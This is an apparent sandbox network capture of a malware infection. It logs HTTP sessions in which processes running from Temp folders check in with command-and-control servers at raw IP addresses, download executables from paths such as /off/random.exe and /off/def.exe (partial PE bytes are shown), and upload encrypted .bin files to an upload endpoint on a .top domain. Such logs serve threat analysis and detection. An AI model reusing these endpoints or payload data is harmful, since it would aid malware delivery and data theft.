Nov 20, 2024 08:10:27.217835903 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:10:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50144	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:30.184185028 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 36 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007606001&unit=246122658369
Nov 20, 2024 08:10:31.267055988 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Nov 20, 2024 08:10:31.267281055 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Nov 20, 2024 08:10:31.267364025 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50145	185.215.113.16	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:31.281919003 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 20, 2024 08:10:31.998423100 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:31 GMT Content-Type: application/octet-stream Content-Length: 2770944 Last-Modified: Wed, 20 Nov 2024 06:30:16 GMT Connection: keep-alive ETag: "673d81f8-2a4800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 0f 64 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +d`Ui` @ @.rsrc`2@.idata 8@oxnuddjg):@oawapqis "@.taggant@"&@
Nov 20, 2024 08:10:31.998451948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:31.998469114 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:31.998478889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:31.998502970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:31.998519897 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:31.998538017 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:31.998552084 CET	1236	IN	Data Raw: d7 8f cf 73 af 2c d1 38 30 3b cf b0 81 05 ac 62 d4 f8 b5 12 15 5a 83 d2 44 75 e4 31 5e fa 14 07 08 03 7b 96 72 14 56 52 b8 bc 8c 68 61 4e 21 32 25 76 f0 62 d9 89 23 2d 37 54 ce 2c 27 7e 67 04 21 91 c0 72 af 88 bc 4a 0b 65 ef 28 85 6b cd 83 ea a4 Data Ascii: s,80;bZDu1^{rVRhaN!2%vb#-7T,'~g!rJe(ky'21&y_t(%33L`64e+os/.#2pFOvZ,k"]/WQ'sk5$y!JqD;i4V0=tYlj
Nov 20, 2024 08:10:31.998570919 CET	1236	IN	Data Raw: 9b 90 c6 48 c3 90 ca 14 d4 9b 6f 68 2e 63 c4 e1 f6 5b c0 6c 07 5a e3 11 45 08 eb 78 23 43 db 73 f5 5b 9a 12 d7 23 7f 75 bc 9a 3c f0 4c 90 86 72 f5 2f c7 a0 00 47 b7 66 11 ec a0 ac f4 63 a2 09 05 64 7a 8c 2f 0f d4 fa 4c 03 f3 73 b5 74 5a 80 9e cb Data Ascii: Hoh.c[lZEx#Cs[#u<Lr/Gfcdz/LstZCTjJikurC&3.\|Xa[#t'h,/13a=w:Y2OkAVe[Z^cbs{JB+BJ6xMC@/[6ZL$K3zY)2Z3w
Nov 20, 2024 08:10:31.998586893 CET	1236	IN	Data Raw: 0d 71 bf 79 f9 4b c7 05 e0 28 17 72 18 a7 d6 e7 33 9a c8 a0 dc 80 ea d9 28 2d 96 51 12 ab 9c d6 0a 68 94 a3 32 0c e9 37 a6 2e 1c 05 55 79 9b c9 e6 83 ba 42 83 2a 58 54 25 93 a4 54 16 3a b7 8d 9e 80 b2 61 27 2e 8b 7b 1c c1 7b 73 ab e0 df 84 71 9d Data Ascii: qyK(r3(-Qh27.UyBXT%T:a'.{{sqao3tuBW^59FH;N.JBZNHi:ra@M5^g^L/@X{duC[^5g\(PX2w.yM,F0X3iM0D'_[@a
Nov 20, 2024 08:10:32.003515959 CET	1236	IN	Data Raw: 34 48 30 dc 3e 77 25 0b 51 eb cb 37 8a 97 e8 13 81 80 d4 b3 82 77 86 00 86 61 32 58 2c 88 31 63 81 87 ac 3e f6 74 78 c5 01 ac 22 a9 e3 ca c4 e1 f5 c5 9f 77 0c 29 ef 30 f5 99 d8 47 0b 34 b3 3e 7b 26 b1 75 11 3a 88 21 76 70 d1 c3 c6 1e b6 b5 16 ab Data Ascii: 4H0>w%Q7wa2X,1c>tx"w)0G4>{&u:!vpYk)05sbIecfD ]TYfiDaa^cXv/]D-)`Oc$a3L*4D(G(>[9gM3I'Dpqj=(FJ9Lt:o@!fUS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50147	34.116.198.130	80	8108	C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:31.908767939 CET	644	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 465 Content-Type: multipart/form-data; boundary=------------------------GT6G5n8a77bBUgMxU2ZS63 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 47 54 36 47 35 6e 38 61 37 37 62 42 55 67 4d 78 55 32 5a 53 36 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 48 61 70 65 6c 65 77 61 6d 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1c 8d 4d ce fd 80 a5 b7 65 8c 4a 30 66 c9 e1 4e 9e b0 03 85 19 a0 53 b7 86 e3 95 52 f9 89 37 06 9f 7c db b3 9d bb f1 13 82 2a 5b 9c 62 03 ca 53 c2 9d fe 44 9b d1 3a 40 e1 62 06 dd 2c d5 32 5e c0 e0 69 fd f3 4d 62 d6 2b 9d 29 15 90 c8 a3 61 b8 2a ed 11 51 65 12 7f c8 4e 0e 4b 99 58 b1 bb f4 03 fd 4a b3 7f 21 e5 88 24 21 17 5e a6 66 18 7d 74 c7 9a 6d da fe 2b ef b2 44 13 03 49 ed 8f 15 35 61 d3 ab 2e 61 fa cc 42 bd fe 05 80 e6 9d 10 b7 c0 e2 73 16 3f d5 3e 9f ef 77 2c 30 52 5a 6b 5f 73 c1 0e c1 9b 91 2d 55 7b 77 9d 71 1c [TRUNCATED] Data Ascii: --------------------------GT6G5n8a77bBUgMxU2ZS63Content-Disposition: form-data; name="file"; filename="Hapelewam.bin"Content-Type: application/octet-streamMeJ0fNSR7\|[bSD:@b,2^iMb+)aQeNKXJ!$!^f}tm+DI5a.aBs?>w,0RZk_s-U{wq+$*CiG_M"fNnx]\Xxu}p>A!I2:@GR$"--------------------------GT6G5n8a77bBUgMxU2ZS63--
Nov 20, 2024 08:10:32.610975027 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Wed, 20 Nov 2024 07:10:32 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50152	34.116.198.130	80	8108	C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:34.964935064 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 51201 Content-Type: multipart/form-data; boundary=------------------------wQgLjbPUbvJno3aPGHmoEc Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 77 51 67 4c 6a 62 50 55 62 76 4a 6e 6f 33 61 50 47 48 6d 6f 45 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 44 75 62 75 68 6f 63 75 6e 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 27 51 95 43 cf 06 e8 b0 d9 dd fa b7 f0 29 ce 7b c2 58 9e 8c f7 12 ab 0f 23 a4 f3 71 09 63 68 2c 93 41 7b 9b 58 7f b5 99 b0 26 a0 fc f1 34 4d cc fe 45 7c 8e 53 dd 83 c5 77 db bb 89 37 12 d9 98 1a 28 4e 8c c8 19 44 10 95 c3 53 2e 81 9b 9f a7 73 e1 8a 5c 40 41 8a 89 c9 29 1a 88 94 f7 1d c2 f9 3d 56 31 0a 7f d4 43 f4 5d 72 5b dd 7d 52 a0 5e 7e da e8 90 05 56 7e ba a3 c6 4e 42 14 41 6b 7f ea 84 c4 0d 29 f5 54 d3 97 49 12 05 f9 55 d7 2a f9 ad 2b 01 df 37 a1 c0 89 b1 d2 97 a2 5e a9 a0 d8 dd cf 68 44 49 79 ea a7 80 a2 25 cd fa [TRUNCATED] Data Ascii: --------------------------wQgLjbPUbvJno3aPGHmoEcContent-Disposition: form-data; name="file"; filename="Dubuhocun.bin"Content-Type: application/octet-stream'QC){X#qch,A{X&4ME\|Sw7(NDS.s\@A)=V1C]r[}R^~V~NBAk)TIU+7^hDIy%jfwE5o[+G\|8Uvwvlz!:BCfvSys??A42}sVVoS^qJO-kRmR!72u_Ro"!Lr}tma\#mln!q^^p'+)jpeL}M'E>?Pw6HruvE"sA{N2n@nhZ[^BYi=c_ssGq?SP=p^"^uE,%^<0A\E\|c`$-lO4@]?fkq)y 5{"6,#1v,MAV8^jNqp{Id"4sU.E~!E-ZrOV8vq$^%D~,BiG>3L3R}8ND 8:?PO9F<7Cly>V(%e5 cw{sn~/@aFFw:C4 [TRUNCATED]
Nov 20, 2024 08:10:34.969818115 CET	4944	OUT	Data Raw: 5c a3 b8 f1 27 a1 05 db 73 56 79 48 dd 6a 00 df 59 e5 b0 f5 96 37 e1 ee 5b 97 dc a3 87 1a 68 1c d6 83 dc db bc 86 26 ef bb 3b e4 20 01 bd 29 4c 5d d8 b7 a3 1f 0d 70 f9 bf 5a 13 7d 31 2d 69 e5 a6 25 7d c8 f4 c1 0e be 67 35 1d 50 ad c3 41 bc 64 a7 Data Ascii: \'sVyHjY7[h&; )L]pZ}1-i%}g5PAd\hP_f>+P\\|$2{lm? Sy"W+SM1v8h+'g*@Brn<Lw8A&[N~ClHCkJPIYJ$?^b
Nov 20, 2024 08:10:34.969870090 CET	4944	OUT	Data Raw: 4b 44 fd 38 87 77 94 b0 bd fc 97 69 c7 b5 d8 c9 b8 7f 1b f7 3f e8 b2 47 e4 ef 46 d3 27 f5 d8 a8 b4 8e a6 5f e4 0f bf 8b e8 97 91 44 13 e7 ca 4e a2 15 61 0b 17 5a 42 11 d4 a3 3a 28 4b 18 be 73 1b 95 07 50 2f 8f 83 ee 98 68 4a 42 45 75 0f 06 e8 43 Data Ascii: KD8wi?GF'_DNaZB:(KsP/hJBEuCfN$6R29z^! x(/W`dX0Eh=Sg`NL,_.rCI%`i K\@$\_&;Yq\|)3!iEdd,XRL
Nov 20, 2024 08:10:34.969903946 CET	4944	OUT	Data Raw: 93 b4 92 fb 5f 81 9e 9c 1f e3 7b 44 fa f7 d1 4f 70 7a 90 53 80 ab fd 10 40 d6 6d 2d 03 94 91 fb 34 4a 14 b0 db dc 0c a1 b3 81 6f 35 b8 d1 aa ed 3a 9d 56 ea 80 ce a6 15 c7 ed 76 c1 e7 e1 e3 17 be 92 a2 b0 db b3 b5 96 35 93 b2 30 96 01 71 56 e0 a3 Data Ascii: _{DOpzS@m-4Jo5:Vv50qVXq0DlBC1c16gaC N\|A-">&@+2z+Fl:SKmz}TBd1%IXkl;PWWILHU#("g%K6
Nov 20, 2024 08:10:34.969919920 CET	2472	OUT	Data Raw: e0 1c 74 38 4e 2b 13 a9 a8 94 c9 ff 2d 08 76 4f 82 73 a4 00 6c c1 c8 8a 14 5c 08 cb c3 20 4f 10 33 40 bd d1 2d 3b 63 e1 cc d4 ee 01 f6 1d a3 12 81 36 88 79 5d e0 6e 35 30 8c e8 f0 21 63 4d ad ce 6b 98 93 79 cd 2f 3f f0 bf ac 18 55 66 a1 23 ed 5d Data Ascii: t8N+-vOsl\ O3@-;c6y]n50!cMky/?Uf#]b7&rK,$X;dKDJ?/xwhgd:xT](}fy8TzUARFk6>cp56WvNMLTlGR$we!KHab`~V
Nov 20, 2024 08:10:34.970024109 CET	4944	OUT	Data Raw: e5 dc 7c 09 71 c4 84 12 90 65 31 ec c0 44 e0 17 41 79 09 0d 5c 1f 5a f5 36 da c9 a8 02 55 60 21 70 0f 57 94 ca 59 d3 bf 25 46 77 d3 0f 0c 60 94 d9 79 8b 5e fc 66 6c d9 d3 2d 21 c0 49 5f 25 3a c0 96 fb 76 3c d3 c0 bd 60 5d bd 77 85 23 f6 83 06 7a Data Ascii: \|qe1DAy\Z6U`!pWY%Fw`y^fl-!I_%:v<`]w#z$ik?3>THCPuO$URM3/n Rb4U=< r7p";g0}3 pi>%:`%\/u@I_a?[
Nov 20, 2024 08:10:34.970204115 CET	1236	OUT	Data Raw: e0 1e bd a4 cf 90 ab e2 1a a0 c8 44 0b 6e 34 c7 1d 01 d2 57 22 db cc 36 b7 ea b7 76 be 82 f9 9e 41 9c c9 89 8d c7 20 f3 49 80 ad b7 a0 6e 66 28 b9 93 1a 27 9b 64 91 ec 4b f5 27 09 41 7c 83 e9 3c c6 f7 b5 0e 32 a6 1d ee fa 91 ee fc 10 7b fa 63 74 Data Ascii: Dn4W"6vA Inf('dK'A\|<2{ctc0_WZSv4!O2q\|bMKph7s<2 {Z0v_Ev+=ua,UL;/1ROPKk/~\|N 8!/jv~B3\|vw(btpda
Nov 20, 2024 08:10:34.974858999 CET	2472	OUT	Data Raw: 31 02 a4 4b 1c a8 34 eb 27 69 fb 1f 63 a3 53 9f 10 9a b9 62 9e d3 a7 8e d1 a5 bd 4a 18 93 bf 48 bc 90 e3 b6 e3 fc 38 e6 a9 df 9c a0 6c 34 4e 4d 6a e4 da 95 fc 12 61 d2 98 b6 f1 07 99 0b 5a 97 ba 2c 26 62 04 7d 2a ab b1 04 bc ee 3b 47 fe 20 39 36 Data Ascii: 1K4'icSbJH8l4NMjaZ,&b}*;G 96\|\|n"&6VVsI7+N6_;m-%d<$I]Cd:g{H)z4[9N'gE+CqE/s8Y:^1?"T-<F2(/w`Az:E^>At{_5
Nov 20, 2024 08:10:34.974915028 CET	1236	OUT	Data Raw: 4c 04 f3 be 4c de 51 7b 79 03 08 e2 d5 af 1d 50 04 52 aa f3 42 a4 0c a4 b7 25 55 bd c2 05 29 2a f8 c7 ce 65 81 44 83 a7 ce 00 d0 f8 08 92 d5 ef bb 74 30 f6 62 be 64 96 3b 18 96 a1 ba 0f 4f 83 15 ab af 19 79 e4 67 46 72 a1 c1 c7 1b 6b c3 b9 8b d0 Data Ascii: LLQ{yPRB%U)eDt0bd;OygFrk'R1jtaP7e=L](J,weN{Q3{ebJ4q`}hd\|Xdb)sKS-YWJAgGs[n\|g`M
Nov 20, 2024 08:10:34.974941015 CET	2472	OUT	Data Raw: a2 b7 bb c1 bc 2e 38 c5 f9 06 70 e7 f2 a5 2a e0 fe 3d bd 85 d1 0c fb 23 a4 88 e0 34 04 c1 b5 01 2b a9 17 27 9f 85 71 9c 18 49 f9 2c 71 d4 d8 3f bd 2e 3f b5 2e 36 8b 0b ec 92 fc 12 46 f0 78 8f 2e 7d 95 51 e2 4d 82 4f b4 6e 14 ee e6 89 43 27 cb 60 Data Ascii: .8p*=#4+'qI,q?.?.6Fx.}QMOnC'`B&0INZ[&=1:t&B77WL 07 C&2f,FP7ZbV,0,v{&3\|R}\V~k-RbKS';d5@r3?
Nov 20, 2024 08:10:34.975022078 CET	2472	OUT	Data Raw: 1b c0 87 ee 04 be be 8a de ec d7 21 2b 69 3b 96 c3 db d1 82 aa a3 63 23 18 1b 13 5f d5 b5 cd bf ba 7b 37 cc 34 1d 86 1d 32 af 6d 9f ff 8b b8 4f d5 6f e0 87 a4 ce dc 9e 5f c4 2a a8 80 70 f8 2d 81 79 b5 b9 7f 46 80 7b 64 d5 41 9e 46 19 1b 37 36 40 Data Ascii: !+i;c#_{742mOo_p-yF{dAF76@iB$k~S=Lyd47vlk;G`?,gCdrEgZ'>p}C)@qB}g2gVy`BY
Nov 20, 2024 08:10:35.840821028 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Wed, 20 Nov 2024 07:10:35 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50155	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:36.641985893 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 36 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007607001&unit=246122658369
Nov 20, 2024 08:10:37.346335888 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50156	185.215.113.16	80	8068	C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:36.944550991 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 20, 2024 08:10:37.677993059 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:37 GMT Content-Type: application/octet-stream Content-Length: 2770944 Last-Modified: Wed, 20 Nov 2024 06:30:18 GMT Connection: keep-alive ETag: "673d81fa-2a4800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 0f 64 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +d`Ui` @ @.rsrc`2@.idata 8@oxnuddjg):@oawapqis "@.taggant@"&@
Nov 20, 2024 08:10:37.678020000 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:37.678057909 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:37.678149939 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:37.678160906 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:37.678174973 CET	272	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:37.678193092 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:37.678205013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:37.678215981 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:37.678227901 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: -3A[+1Q\%m%+65<,ljV34x`^q9:]5v!*h@'s&:8fEaII]H)c(6{b99sKU
